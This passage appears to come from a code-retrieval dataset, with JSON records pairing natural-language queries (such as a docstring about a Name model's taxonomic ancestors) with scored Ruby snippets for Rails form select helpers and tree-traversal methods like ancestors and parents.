Score.uniq.pluck(column)\n\t\t\tlabel = \"#{column}_select\" \n\t\t\tf.label :label\n\t\t\tpre_select = if params[:column] == column\n\t\t\t\t\t\t\tsession[:filter] || column_values\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcolumn_values\n\t\t\t\t\t\tend\n\t\t\tf.select(label, options_for_select(column_values.map { |value| [ value, value ] }, pre_select), { :include_blank => false}, { :multiple => true, :size => column_values.length })\n \n\t\tend\n\tend", "title": "" }, { "docid": "cb8c98f32b016f729ad9cf8ee9f0a4fa", "score": "0.5714447", "text": "def show_dropdown\n\t\tcollection_select(:tagging, :show_id, Show.all, :id, :name, :prompt => true)\n\tend", "title": "" }, { "docid": "00d87fed227a278d47dd72d1478af2f0", "score": "0.5712318", "text": "def apphelp_select( form, objfield, choices, multiple = true )\n return form.select(\n objfield,\n choices,\n {},\n apphelp_extra_selection_args( choices, multiple )\n )\n end", "title": "" }, { "docid": "842e00f857b5caed478e48f5e8a1aaf4", "score": "0.5711093", "text": "def select_con_label(attribute, tag_value, options = {})\n class_name =objectify_options(options)[:object].class\n value = objectify_options(options)[:object][attribute]\n nombre = class_name.to_s.gsub('::','_').downcase + \"[\" + attribute.to_s + \"]\"\n @template.content_tag(:div,@template.label_tag(attribute) + @template.select_tag(nombre, @template.options_for_select(tag_value,value) ,:class => \"form-control\"), class: 'form-group') \n end", "title": "" }, { "docid": "4c402ec7bcdb2b00abc00fa181009991", "score": "0.5702405", "text": "def preselect\n attributes.fetch(:preselect)\n end", "title": "" }, { "docid": "d46118e9481da651435844d171866974", "score": "0.5700759", "text": "def select\n return @select\n end", "title": "" }, { "docid": "15cb3d59b22ea6a5ae485f089eb32e13", "score": "0.5700348", "text": "def select_comp_fields(comp_name,comp_value)\n comp_name_list.select comp_name\n comp_value_list.select comp_value\n add_comp_btn.click\n end", "title": "" }, { "docid": "63ed44e2338f2826e3ee5e5b83de42af", "score": "0.56978893", "text": "def select(method, choices = nil, options = {}, html_options = {}, &block)\n html_options = html_options.with_indifferent_access\n add_data_bind(html_options, 'value', method)\n super(method, choices, options, html_options, &block)\n end", "title": "" }, { "docid": "44e0351607f9c2550e9011f820587ea0", "score": "0.5682248", "text": "def select\n return @select\n end", "title": "" }, { "docid": "b19d3c9ebf9ec7e7fa327c124bdd2e8b", "score": "0.56720006", "text": "def select column, array, assoc = false\n\t\tcolumnName = column.titleize\n\t\tinput = \"\\n\\t<label>\" + columnName + \"\\n\\t</label>\\n\\t<select name=\\\"\" + @modelName + \"[\" + column + \"]\\\">\"\n\t\tinput += \"\\n\\t\\t\\t<option value=\\\"\" + item.to_s + \"\\\">\" + item.to_s + \"</option>\"\n\t\t@potential_keys_to_ignore.push(column)\n\t\tinput += \"\\n\\t</select>\"\n\t\t@formMiddle.push(input)\n\t\treturn self\n\tend", "title": "" }, { "docid": "c4f29518b7f3c45a03f6bc04d2d4fd64", "score": "0.567033", "text": "def select(resource_name, field_name, options_list, selected_value)\n html = ''\n options_list.each do |nv_pair|\n option_value = nv_pair.keys.first\n option_name = nv_pair.values.first\n html << \"<option value=\\\"#{option_value}\\\"\"\n html << \" selected=\\\"selected\\\"\" if option_value == selected_value\n html << '>'\n html << option_name\n html << \"</option>\"\n end\n \"<select id=\\\"#{resource_name}_#{field_name}\\\" name=\\\"#{resource_name}_#{field_name}\\\" class=\\\"required\\\">#{html}</select>\"\n end", "title": "" }, { "docid": "76a0d02c8eb4e6f0eae24a6bf414ec70", "score": "0.56702906", "text": "def has_many_select_args(obj)\n\t\t\t\thash = {}\n\t\t\t\tchoices(obj).each{|x| hash[x.respond_to?(:editlink) ? x.editlink(obj) : x.id] = x.id}\n\t\t\t\t[hash, obj.send(@field_name).map{|x| x.id}]\n\t\t \t\t#[@choices.map{|x| [x.editlink, x.id]}, @klass.find_all.map{|x| x.editlink}]\n\t\t\tend", "title": "" }, { "docid": "d40052ba43d3764eb357553d64585e7f", "score": "0.5667694", "text": "def no_options_field\n false\n end", "title": "" } ]
440060a05fe88fca10e6367161842691
Returns an Array of all of this Name's ancestors, starting with its immediate parent, running back to Eukarya. It ignores misspellings. It chooses at random if there are more than one accepted parent taxa at a given level. (See comments for +parents+.) child = Name.find_by_text_name('Letharia vulpina') child.all_parents.each do |parent| puts parent.text_name end Produces: Letharia Parmeliaceae Lecanorales Ascomycotina Ascomycota Fungi Eukarya
[ { "docid": "eacf9f2a205d4c62e707426af3ccf032", "score": "0.59969366", "text": "def all_parents\n parents(all: true)\n end", "title": "" } ]
[ { "docid": "9b01f6f3de713dfd8ef090ac394026ef", "score": "0.7218588", "text": "def ancestors\n \tif parent_name.blank?\n\t \tancestors = [] \n \telse\n \t\tp = Category.where(name: parent_name).first\n \t\tancestors = p.ancestors\n \t\tancestors << parent_name\n \tend\n \tancestors\n end", "title": "" }, { "docid": "bad6c0fd670f4f457c1cd8ee6db5b1aa", "score": "0.6924839", "text": "def getAllParents\n parents = []\n parent = self.getParentRec\n self_code = self.code.split('.')\n self_code.pop(1)\n while self_code.length > 0 do\n puts \"self_code: #{self_code}\"\n if parent.present?\n parents << parent\n parent = parent.getParentRec\n self_code.pop(1)\n else\n parents << nil\n self_code.pop(1)\n parent = Tree.where(\n tree_type_id: self.tree_type_id,\n version_id: self.version_id,\n subject_id: self.subject_id,\n grade_band_id: self.grade_band_id,\n code: self_code.join(\".\")\n ).first\n end\n end\n Rails.logger.debug(\"*** tree parents: #{parents.inspect}\")\n return parents\n end", "title": "" }, { "docid": "5dc98c534b4304a8b0f8e98c0002c2e8", "score": "0.67211276", "text": "def parents(all: false)\n parents = []\n\n # Start with infrageneric and genus names.\n # Get rid of quoted words and ssp., var., f., etc.\n words = text_name.split - %w[group clade complex]\n words.pop\n until words.empty?\n name = words.join(\" \")\n words.pop\n next if name == text_name || name[-1] == \".\"\n\n parent = Name.best_match(name)\n parents << parent if parent\n return [parent] if !all && parent && !parent.deprecated\n end\n\n # Next grab the names out of the classification string.\n lines = try(&:parse_classification) || []\n lines.reverse_each do |(_line_rank, line_name)|\n parent = Name.best_match(line_name)\n parents << parent if parent\n return [parent] if !all && !parent.deprecated\n end\n\n # Get rid of deprecated names unless all the results are deprecated.\n parents.reject!(&:deprecated) unless parents.all?(&:deprecated)\n\n # Return single parent as an array for backwards compatibility.\n return parents if all\n return [] unless parents.any?\n\n [parents.first]\n end", "title": "" }, { "docid": "1ecfd5e242bdb3402439c8ad586c1698", "score": "0.6693754", "text": "def ancestors\n parents = []\n\n this_parent = self.parent\n\n while this_parent != nil\n parents << this_parent\n this_parent = this_parent.parent\n end\n parents\n end", "title": "" }, { "docid": "eccdd42efb003f1bdd84ab84187301bc", "score": "0.65774536", "text": "def ancestors\n ancestors = []\n current_ancestor = self\n \n while !current_ancestor.nil?\n \n if current_ancestor.respond_to?(:parent)\n ancestors << current_ancestor\n current_ancestor = current_ancestor.parent\n else\n current_ancestor = nil\n end\n \n end\n \n ancestors\n end", "title": "" }, { "docid": "56b173a3b85a4ecac4ac7510047f42d3", "score": "0.6464881", "text": "def find_all_parents\n end", "title": "" }, { "docid": "661baf7b5cf7e6eb684ee334fc61e468", "score": "0.6424775", "text": "def ancestors \n \t\tres=parents\n \t\tparents.each {|c| res += c.ancestors}\n \t\treturn res.uniq\n \tend", "title": "" }, { "docid": "96620d80fe8f2eff38ae3905b3b3cc21", "score": "0.640746", "text": "def ancestors\n itr = self\n res = []\n until itr.top_level?\n itr = itr.parents.first\n res << itr\n end\n res\n end", "title": "" }, { "docid": "6453b1ae4d014f427ad37b29dfff2e90", "score": "0.6384115", "text": "def parents\n parse!\n @parents\n end", "title": "" }, { "docid": "9947654ba8549f2402c7f6be56253b5b", "score": "0.63474727", "text": "def parents\n unless @parents\n @parents = []\n object = self\n while object.respond_to?(:parent) && object.parent\n @parents << object.parent\n object = object.parent\n end\n end\n @parents\n end", "title": "" }, { "docid": "e6e9fb35416e07d743f9a6040ba2cd0c", "score": "0.6310293", "text": "def ancestors_r(*args)\n # fetch all parents\n pending = [self]\n ans = []\n while !pending.empty?\n e = pending.pop\n e.parents(*args).each do |p|\n if !ans.include?(p)\n ans << p\n pending.push(p)\n end\n end\n end\n ans\n end", "title": "" }, { "docid": "f35dd52ad22a3f740674c01341d98ada", "score": "0.629282", "text": "def ancestors\n if parent.nil?\n []\n else\n parent.ancestors + [parent]\n end\n end", "title": "" }, { "docid": "4952e2d49996665666d8be695f453ffc", "score": "0.62481374", "text": "def hierarchy\n parents = []\n parent = self.parent\n\n while parent && !parent.parent_id.nil?\n parents << parent\n parent = parent.parent\n end\n\n return parents.reverse\n end", "title": "" }, { "docid": "58916d7c3bb279fe62a87838f4b5cec4", "score": "0.62023115", "text": "def ancestors\n return [] if root?\n tree_search_class.find(self[tree_path_field])\n end", "title": "" }, { "docid": "d3cb974e6be99565867583427e0c0298", "score": "0.618739", "text": "def ancestors\n @ancestors ||= parent ? parent.ancestors + [parent] : []\n end", "title": "" }, { "docid": "1963ebd7399dde094a1e92b0f2817a8b", "score": "0.6147615", "text": "def parents\n @parents ||= parent ? parent.parents + Array(parent) : []\n end", "title": "" }, { "docid": "003c1bd264b1c41693272e594656a790", "score": "0.61415994", "text": "def ancestors\n @ancestors ||= [self] + (self.parent.try(:ancestors) || [])\n end", "title": "" }, { "docid": "aac60b6878a80a3058f830686df5eba9", "score": "0.61072654", "text": "def ancestors_name\n if parent\n \"#{parent.ancestors_name} #{parent.name}:\"\n else\n \"\"\n end\n end", "title": "" }, { "docid": "30f674bfd9953680b9f47a1141fe2831", "score": "0.6077251", "text": "def all_ancestors(ancestors=[])\n # Assumes only one parent\n result = []\n c = self\n while c && c.parent_groups\n result += c.parent_groups\n c = c.parent_groups[0]\n end\n result\n end", "title": "" }, { "docid": "ad50ca8422bc7a6009809340e6496a82", "score": "0.6066925", "text": "def ancestors\n return @ancestors unless @ancestors.nil?\n # Stop if this is already the root node\n return @ancestors = [self] if File.basename(tree).empty?\n # Path for parent is blank if parent is root node\n parent_path = if File.dirname(tree) == '.'\n \"\"\n # Otherwise it is the directory in which this node is located\n else\n File.dirname tree\n end\n parent = git_flow_repo.working_file parent_path\n @ancestors = parent.ancestors + [ self ]\n end", "title": "" }, { "docid": "b3d18a1be44dbc9e6a8de6e1a2b0d212", "score": "0.60530806", "text": "def get_parents( node=self )\n sql = <<-SQL\n select\n subject_term.identifier as child_identifier,\n subject_term.term_name as child_term,\n predicate_term.term_name as relation,\n object_term.identifier as parent_identifier,\n object_term.term_name as parent_term\n from\n term_relationship tr\n join term as subject_term \ton tr.subject_term_pk = subject_term.term_pk\n join term as predicate_term on tr.predicate_term_pk = predicate_term.term_pk\n join term as object_term on tr.object_term_pk = object_term.term_pk\n where\n predicate_term.term_name in ('part_of','is_a','develops_from')\n and subject_term.identifier = ?\n SQL\n \n OLS_DB[ sql, node.term ].each do |row|\n parent = OntologyTerm.new( row[:parent_identifier], row[:parent_term] )\n parent << node\n get_parents( parent )\n end\n end", "title": "" }, { "docid": "de980aa1933594998c6c4f54029e1d37", "score": "0.60421896", "text": "def ancestors\n parents + parents.map(&:ancestors).flatten\n end", "title": "" }, { "docid": "4eb117efb0db1199e97e5926898e57c8", "score": "0.6032389", "text": "def parents\n @parents || (parse! && @parents)\n end", "title": "" }, { "docid": "da7e8eeda2c7a84ee197314e2f6151b6", "score": "0.6012025", "text": "def ancestors() end", "title": "" }, { "docid": "3cafa3eeeda7ed07c325b8cdea10482a", "score": "0.59938854", "text": "def get_parents\n return @parents\n end", "title": "" }, { "docid": "677275489972be0ef7694ee8204003dc", "score": "0.59761983", "text": "def ancestors_through_parents(result = [self], start = self)\n if start.parent.nil?\n return result.reverse\n else\n result << start.parent\n ancestors_through_parents(result, start.parent)\n end\n end", "title": "" }, { "docid": "3cbc3482b5b6e8d3d9c3022a3e4fabac", "score": "0.59674674", "text": "def ancestors\n []\n end", "title": "" }, { "docid": "6218002440e0b53829fb3b97df226e91", "score": "0.5961838", "text": "def parents\n if parent.nil?\n [self]\n else\n parent.parents + [self]\n end\n end", "title": "" }, { "docid": "70293b5b4ac0770f69fb57dc5a3cc5bf", "score": "0.5961406", "text": "def parents\n page, parents = self, Array.new\n while page.parent\n page = page.parent\n parents << page\n end\n parents\n end", "title": "" }, { "docid": "9110029f82994337831373251242b2b2", "score": "0.5943127", "text": "def ancestors\n TreeNode.find(:all,\n :from => \"cms_treenode_ancestors(#{self.id}, #{AuthenticationModel.current_user}) tree_nodes\") rescue []\n end", "title": "" }, { "docid": "8acaa21cb9f2bbb061628a04dd10db39", "score": "0.5938557", "text": "def ancestors\n node, nodes = self, []\n nodes << node = node.parent while node.parent\n nodes\n end", "title": "" }, { "docid": "862fe9f400d01a84d484f0e7826f1aaa", "score": "0.59375405", "text": "def ancestors\n model_base_class.scoped(:conditions => ancestor_conditions, :order => :ancestry_string)\n end", "title": "" }, { "docid": "f386b92ad12cc4a29bd6a7553770af22", "score": "0.5909343", "text": "def find_parents\n parents = {}\n\n # iterate through the set of tokens and identify each token's parent\n @untagged_tokens.each_with_index do |str|\n pat = @parsed_sentence.getAllNodesByWordPattern(str).to_a.first\n parent = @parsed_sentence.getParents(pat).to_a.first\n\n unless parent.nil?\n # extracting the name of the parent (since it is in the foramt-> \"name/POS\")\n parents[str] = parent.to_s.split(\"/\").first\n end\n end\n\n parents\n end", "title": "" }, { "docid": "ca0bf57feede5514179fd308aa0d5d96", "score": "0.5907252", "text": "def name_path_to_parent\n path = []\n p = parent\n while p do\n path.unshift p\n p = p.parent\n end\n path\n end", "title": "" }, { "docid": "6c07b820c1e1f1c27fc5313c9f0eae02", "score": "0.58946455", "text": "def generate_ancestor_list(c)\n c.ancestors.find_all { |a| a != c }\n end", "title": "" }, { "docid": "5fe1dc728e123d38170d914f80513c69", "score": "0.58819956", "text": "def ancestors\n node, nodes = self, []\n nodes << node = node.parent while node.parent\n nodes\n end", "title": "" }, { "docid": "5fe1dc728e123d38170d914f80513c69", "score": "0.58819956", "text": "def ancestors\n node, nodes = self, []\n nodes << node = node.parent while node.parent\n nodes\n end", "title": "" }, { "docid": "801c357d757c88c370faa6b2e02f96c9", "score": "0.58715314", "text": "def ancestors(labels=[])\n ancs = []\n if primary_label and !labels.include?(primary_label.id)\n ancs << primary_label\n ancs = primary_label.ancestors(labels << primary_label.id) + ancs\n end\n ancs\n end", "title": "" }, { "docid": "590db8d3af08bfd9253e4c580457f38f", "score": "0.5867224", "text": "def parents\n\n TapirLogger.instance.log \"Finding parents for #{self}\"\n parents = []\n self.entity_mappings.each do |mapping|\n\n # Go through each associated entity mapping, and find mappings where the child_id is us \n # which means that the parent_id is some other entity, and it's a parent\n \n # the to_s is important, otherwise self.id returns a :Moped::BSON::ObjectId\n parents << mapping.get_parent if mapping.child_id == self.id.to_s \n\n # TODO - what happens if parent_id and child_id are the same. We'll\n # end up grabbing it. Could that break any assumptions?\n\n end\n parents\n end", "title": "" }, { "docid": "020c07a98ab75b1ec4fedc966e4979f7", "score": "0.58530635", "text": "def ancestors\n parent ? [parent, *parent.ancestors].reverse : []\n end", "title": "" }, { "docid": "2c0523468582f630b7760dd8adf718b1", "score": "0.583238", "text": "def parents_by_nomenclature(otu)\n above = [ ]\n if otu.taxon_name_id\n TaxonName.ancestors_of(otu.taxon_name)\n .select('taxon_names.*, taxon_name_hierarchies.generations')\n .that_is_valid.joins(:otus)\n .distinct\n .reorder('taxon_name_hierarchies.generations DESC, taxon_names.cached_valid_taxon_name_id').each do |t|\n above.push [t.cached, t.otus.to_a] # TODO: to_a vs. pluck\n end\n end\n above\n end", "title": "" }, { "docid": "81460597a5a1d0ecfd20c3b7a73c4705", "score": "0.5825769", "text": "def ancestors; end", "title": "" }, { "docid": "81460597a5a1d0ecfd20c3b7a73c4705", "score": "0.5825769", "text": "def ancestors; end", "title": "" }, { "docid": "81460597a5a1d0ecfd20c3b7a73c4705", "score": "0.5825769", "text": "def ancestors; end", "title": "" }, { "docid": "81460597a5a1d0ecfd20c3b7a73c4705", "score": "0.5825769", "text": "def ancestors; end", "title": "" }, { "docid": "7e49480f3cd17e54d0be193f150116b6", "score": "0.58249515", "text": "def ancestors\n parent ? [parent, parent.ancestors].flatten : []\n end", "title": "" }, { "docid": "e929d347441630b7d63d224e8de03be9", "score": "0.5801144", "text": "def ascendants\n paths = []\n path = @path\n paths << self\n while (r = chop_basename(path))\n path = r.first\n break if path.empty?\n\n paths << self.class.new(del_trailing_separator(path))\n end\n paths\n end", "title": "" }, { "docid": "ee4f69162ccc50e4236a4dc1072c9ae4", "score": "0.57933944", "text": "def pbt_parents\n if poly?\n Array[pbt_parent].compact\n else\n self.class.pbts.map do |i|\n try{ \"#{i}\".camelize.constantize.where(id: send(\"#{i}_id\")).first }\n end.compact\n end\n end", "title": "" }, { "docid": "bb812bd1fab2d1093041580bf044f209", "score": "0.57910186", "text": "def ancestors\n node_ancestors.map(&:ancestor)\n end", "title": "" }, { "docid": "dbdc8e8c879bdaecce9833c11ba8ad76", "score": "0.57867384", "text": "def ancestors\n self.root? ? [] : self.parent.ancestors_and_self\n end", "title": "" }, { "docid": "b799174658e94c064328a6fad9c49191", "score": "0.57722396", "text": "def ancestors\n []\n end", "title": "" }, { "docid": "19c14bf3a1a53481c694f9be053c3abb", "score": "0.5766548", "text": "def self_and_ancestors\n # 1. recursively load ancestors\n nodes = []\n node = self\n\n while node\n nodes << node\n node = node.parent\n end\n\n # 2. first ancestor is a root\n nodes.reverse!\n\n # 3. create fake scope\n ActsAsOrderedTree::Relation::Preloaded.new(self.class).\n where(:id => nodes.map(&:id).compact).\n extending(Arrangeable).\n records(nodes)\n end", "title": "" }, { "docid": "355b4747d1c07458676a2deb05b3f587", "score": "0.57634395", "text": "def parents_and_self\n ret = []\n if self.parent\n ret.concat(self.parent.parents_and_self)\n end\n ret << self\n ret\n end", "title": "" }, { "docid": "355b4747d1c07458676a2deb05b3f587", "score": "0.5762765", "text": "def parents_and_self\n ret = []\n if self.parent\n ret.concat(self.parent.parents_and_self)\n end\n ret << self\n ret\n end", "title": "" }, { "docid": "d39b33406231ef82fb088a92516dc017", "score": "0.5741276", "text": "def ancestors\n node, nodes = self, []\n nodes << node = node.parent while node.parent\n nodes\n end", "title": "" }, { "docid": "d39b33406231ef82fb088a92516dc017", "score": "0.5741276", "text": "def ancestors\n node, nodes = self, []\n nodes << node = node.parent while node.parent\n nodes\n end", "title": "" }, { "docid": "5d4ccec3989613ad7df420e85a06bb36", "score": "0.57396525", "text": "def parents(*args)\n find_parents(:all, *args)\n end", "title": "" }, { "docid": "c1c4cb6f3f46ad4a5cce1de21c8fa6e9", "score": "0.57392824", "text": "def parent_hierarchy\n [\n parentADM4,\n parentADM3,\n parentADM2,\n parentADM1,\n parentCountry\n ].reject(&:empty?)\n end", "title": "" }, { "docid": "5078030983d86190fd4197e1a8711930", "score": "0.5729336", "text": "def ascendants(result = nil, depth = 0)\n \n if (result.nil?)\n result = Hash.new\n end\n \n parents.each do |par|\n node = Array.new\n node[0] = par\n par_spice = par.spice\n if (!par_spice.nil? && par_spice.length > 0)\n # TBD: I know there is a Ruby way to copy an array but can't look it up on the plane - just copy myself for now\n spouse_list = Array.new\n par_spice.each do |s|\n spouse_list << s\n end\n node[1] = spouse_list\n end\n result[node] = depth\n par.ascendants(result, depth + 1)\n end \n \n return result\n \n end", "title": "" }, { "docid": "37b372522fb309796f3023dc85bf666a", "score": "0.5724961", "text": "def parents\n EarLogger.instance.log \"Finding parents for #{self}\"\n ObjectManager.instance.find_parents(self.id, self.class.to_s)\n end", "title": "" }, { "docid": "8f820365e97a3f1c6a2f3c728aa22831", "score": "0.57153004", "text": "def ancestors_string\n @ancestors.join(\" &rarr; \")\n end", "title": "" }, { "docid": "49a4062ab5e16db769102d2341c4a626", "score": "0.57085276", "text": "def ancestors\n records = self_and_ancestors - [self]\n\n scope = self_and_ancestors.where(arel[:id].not_eq(id))\n scope.records(records)\n end", "title": "" }, { "docid": "a742611735728d7e7a9a7da9cf7a2a38", "score": "0.57070154", "text": "def parents_and_self\n ret = []\n ret.concat(parent.parents_and_self) if parent\n ret << self\n ret\n end", "title": "" }, { "docid": "0deff2d93a312e0ef5fde89b8531d6e4", "score": "0.5701738", "text": "def ancestors(list=[])\n return list if parent.nil?\n\n list << parent\n parent.ancestors(list)\n end", "title": "" }, { "docid": "e3986d74ce0729dc4c60117fad98ceae", "score": "0.567167", "text": "def useful_parents\n ret_parents = self.parents\n if ret_parents[1].nil?\n if ret_parents[0].revision >= self.revision - 1\n ret_parents = []\n else\n ret_parents = [ret_parents[0]]\n end\n end\n ret_parents\n end", "title": "" }, { "docid": "92256b3e26786ebd333c3c8a3780d295", "score": "0.5666711", "text": "def parents; end", "title": "" }, { "docid": "deb4ab18b802a32eb42fd85cca6188e3", "score": "0.5663372", "text": "def children(all: false)\n scoped_children =\n if at_or_below_genus?\n Name.with_correct_spelling.subtaxa_of_genus_or_below(text_name)\n else\n Name.with_correct_spelling.\n with_rank_and_name_in_classification(rank, text_name)\n end\n\n return scoped_children.to_a if all\n\n Name.all_ranks.reverse_each do |rank2|\n next if rank_index(rank2) >= rank_index(rank)\n\n matches = scoped_children.with_rank(rank2)\n return matches.to_a if matches.any?\n end\n []\n end", "title": "" }, { "docid": "f107372dfaab7e7a593a406215bca499", "score": "0.5662705", "text": "def hierarchy\n p = self\n h = []\n while(p.parent != nil)\n h = [p] + h\n p = p.parent\n end\n h = [p] + h\n \n h\n end", "title": "" }, { "docid": "57c1a274a64d036fdfd7c28eb8f2aaef", "score": "0.56578493", "text": "def matching_ancestors\n []\n end", "title": "" }, { "docid": "f21d2ae9065241da758360afd5515d5e", "score": "0.56327647", "text": "def ancestors\n self_and_ancestors - [self]\n end", "title": "" }, { "docid": "df0c414ed64946e32d2d9f94666cfb8f", "score": "0.5623349", "text": "def ancestors\n (parent ? parent.ancestors : []) << self\n end", "title": "" }, { "docid": "00a963f114f5936fcc4dddbf28386fd2", "score": "0.5612795", "text": "def parents\n self.class.where('forestify_left_position < ?', self.forestify_left_position).where('forestify_right_position > ?', self.forestify_right_position)\n end", "title": "" }, { "docid": "76bf347745205fb56359417707b65b68", "score": "0.5611367", "text": "def orphaned_ancestors(nodes = parents)\n orphans = nodes.select { |node| node.parents.none? }\n parent_nodes = (nodes - orphans).map(&:parents).flatten\n orphans += orphaned_ancestors(parent_nodes) if parent_nodes.any?\n orphans\n end", "title": "" }, { "docid": "8f20924e062c287b891b3c1ed9f9dbff", "score": "0.5602361", "text": "def ancestors(scope = {})\n self_and_ancestors(scope) - [self]\n end", "title": "" }, { "docid": "8de3e545bb762254e059367be333a21f", "score": "0.559988", "text": "def self_and_ancestors\n \t\tres = [self] + self.ancestors\n \t\treturn res.uniq\n \tend", "title": "" }, { "docid": "e4515c3fba2e662898e05e6c7a1c6083", "score": "0.5598439", "text": "def ancestors\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND (#{acts_as_nested_set_options[:left_column]} < #{self[acts_as_nested_set_options[:left_column]]} and #{acts_as_nested_set_options[:right_column]} > #{self[acts_as_nested_set_options[:right_column]]})\", :order => acts_as_nested_set_options[:left_column] )\n end", "title": "" }, { "docid": "0a89acf1f65d091d57a0dcf053e304a7", "score": "0.5588867", "text": "def ancestors\n without_self self_and_ancestors\n end", "title": "" }, { "docid": "94bfeaee760fb2971d18f2df6ba9a235", "score": "0.5579826", "text": "def ancestors(label = nil)\n Pipeline.dsl(self).ancestors(label)\n end", "title": "" }, { "docid": "01805187060a66948d264bf69e028b1d", "score": "0.55734634", "text": "def parent_categories\n c = self\n categories = []\n until c.parent.blank? do\n c = c.parent\n categories.unshift c\n end\n categories\n end", "title": "" }, { "docid": "14144a871557534276c613edb81b3436", "score": "0.5552532", "text": "def parents # rubocop:disable MethodLength\n return @_parents if defined?(@_parents)\n return @_parents = [::Object] if singleton_class?\n\n @_parents = []\n\n to_s.split('::').tap do |arr|\n arr.pop\n\n until arr.empty?\n @_parents << ::Object.const_get(arr.join('::'), false)\n arr.pop\n end\n\n @_parents << ::Object\n end\n\n @_parents.freeze\n end", "title": "" }, { "docid": "9c46c4afe79450ccff5c688beb46e48e", "score": "0.5544611", "text": "def living_parents\n dirstate.parents.select {|p| p != NULL_ID }\n end", "title": "" }, { "docid": "dbd0312976fd58d93179fde24dbaadbd", "score": "0.5538048", "text": "def ancestors(*args)\n return [] if self.ancestor_ids.blank?\n conditions=[[]]\n ids = self.ancestor_ids.split('.').delete_if{|c|c.empty?}\n ids.each do |id|\n conditions[0] << \"#{self.class.table_name}.id = ?\"\n conditions << id\n end\n conditions[0]=conditions[0].join(' OR ')\n self.class.send(:with_scope, :find=>{:conditions=>conditions}) do\n self.class.find(:all, *args)\n end\n end", "title": "" }, { "docid": "7830c7ceb0cc5763a4725d17eec8f97e", "score": "0.552819", "text": "def addParents(palace)\n self.parents.map! do |parent|\n palace.family.find{ |member| member.name == parent }\n end\n end", "title": "" }, { "docid": "fa3c55c6314a243a8c3ebb12a61471ed", "score": "0.55090594", "text": "def ancestors\n end", "title": "" }, { "docid": "a2d840be89941dc92770eb22a086e201", "score": "0.5507316", "text": "def ancestors\n model_base_class.where(ancestor_conditions).order(:materialized_path)\n end", "title": "" }, { "docid": "5318352a3630a5fa04011f3b2fedfc92", "score": "0.5488979", "text": "def parents\n check_commit\n @parents \n end", "title": "" }, { "docid": "07461960d427f4daf96ef7dedf166dd0", "score": "0.54803693", "text": "def ancestors(upto: nil)\n base_and_ancestors(upto: upto).where.not(id: ancestors_base.select(:id))\n end", "title": "" }, { "docid": "23b6ec0e778fe501cfe7ff3eadd92db7", "score": "0.5479909", "text": "def each_ancestor\n ancestors = [self]\n while not ancestors.last.parent.nil?\n ancestors << ancestors.last.parent\n end\n ancestors.reverse_each { |a| yield a }\n end", "title": "" }, { "docid": "48b9eb428ed73dceb5d3a0f407c7b49e", "score": "0.547846", "text": "def get_parents\n parents = Array.new\n seen = Hash.new\n\n current = self.id\n \n while current\n role = Role.find(current)\n if role \n if not seen.has_key?(role.id)\n parents << role\n seen[role.id] = true\n current = role.parent_id\n else\n current = nil\n end\n else\n current = nil\n end\n end\n\n return parents\n end", "title": "" }, { "docid": "f24317e8ebe8e5012d52d71891b03d5e", "score": "0.5477675", "text": "def self_and_parents\n p = [self]\n parent = self.parent \n \n while parent do\n p << parent\n parent = parent.parent \n end\n p\n end", "title": "" }, { "docid": "408ddd1376697a4a21c6d67b0b0632f0", "score": "0.54751825", "text": "def get_parents\n parents=\"\"\n parent_id_aux= parent_id\n while parent_id_aux!=0\n access = Access.find(parent_id_aux)\n if parents.empty?\n parents = access.id.to_s\n else\n parents = parents+\",\"+access.id.to_s\n end\n parent_id_aux = access.parent_id\n end\n return parents\n end", "title": "" }, { "docid": "bafde835ddd8211ba1927f6ddc3f9277", "score": "0.5467462", "text": "def parents(target)\n\t\tancestors = [target]\n\t\tcurrent_ancestor = target\n\t\tmoves = []\n\t\tuntil current_ancestor==nil\n\t\t\tcurrent_ancestor = current_ancestor.parent\n\t\t\tancestors << current_ancestor unless current_ancestor.nil?\n\t\tend\n\t\tancestors.each {|node| moves << node.value}\n\t\treturn moves.reverse\n\tend", "title": "" }, { "docid": "14a1de8e0749c7e59c485d9357c5e91c", "score": "0.54587096", "text": "def self_and_parent_menus(options={})\n\t\t\tarr = [self]\n\t\t\tfather = self.parent\n\t\t\twhile father.present?\n\t\t\t\tarr << father\n\t\t\t\tfather = father.parent\n\t\t\tend\n\n\t\t\treturn arr.reverse\n\t\tend", "title": "" }, { "docid": "5b3976ca4ecccf64503b09aecfc2333c", "score": "0.5457637", "text": "def ancestors\n nested_set_class.find_with_nested_set_scope(:all, :conditions => \"(#{nested_set_left} < #{self[nested_set_left]} and #{nested_set_right} > #{self[nested_set_right]})\", :order => nested_set_left )\n end", "title": "" }, { "docid": "31703536d5cf4d517f40ef6fb0e15c9b", "score": "0.5454811", "text": "def children\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND #{acts_as_nested_set_options[:parent_column]} = #{self.id}\", :order => acts_as_nested_set_options[:left_column])\n end", "title": "" }, { "docid": "ea3743243674580a2cf3b1deed4b5e7a", "score": "0.5449768", "text": "def parent_rel_ids\n rel = relationships\n if rel.kind_of?(Array) || rel.try(:loaded?)\n rel.reject { |x| x.ancestry.blank? }.collect(&:parent_id)\n else\n rel.where.not(:ancestry => [nil, \"\"]).select(:ancestry).collect(&:parent_id)\n end\n end", "title": "" }, { "docid": "ed5a1dd7c6561595a17f66a1e15a54b9", "score": "0.5445118", "text": "def parents\n self.class.where(id: parent_ids)\n end", "title": "" }, { "docid": "f09467c3106cd5597bf4dd9c184d4c6f", "score": "0.54435825", "text": "def descendents(scope)\n if parent_scope?(scope)\n return SCOPE_TREE[scope].keys.map do |child|\n [child, descendents(child)]\n end.flatten\n else\n parent_scopes.each do |top|\n return SCOPE_TREE[top][scope].keys if SCOPE_TREE[top].key?(scope)\n end\n end\n\n []\n end", "title": "" }, { "docid": "4acd55c94407d07f4d24858053cf1a08", "score": "0.54425204", "text": "def parents\n @key.nil? ? [] : [@group.parents, @group].compact.flatten\n end", "title": "" }, { "docid": "3a116a4bcc16b56227cbe417d4d0a0c7", "score": "0.5441314", "text": "def lineage\n\t\tparents = []\n\t\tlist = self\n\t\twhile list.parentlist_id\n\t\t\tlist = List.find(list.parentlist_id)\n\t\t\tparents << list\n\t\tend\n\t\t\n\t\tif parents.length > 0\n \t\tparents.reverse!.slice(1..-1)\n else\n parents\n end\n end", "title": "" } ]
eb55a0fa4c5d278af9090a26fc0f53ab
Set subject in I18n: en.mobile_download.download_email.subject
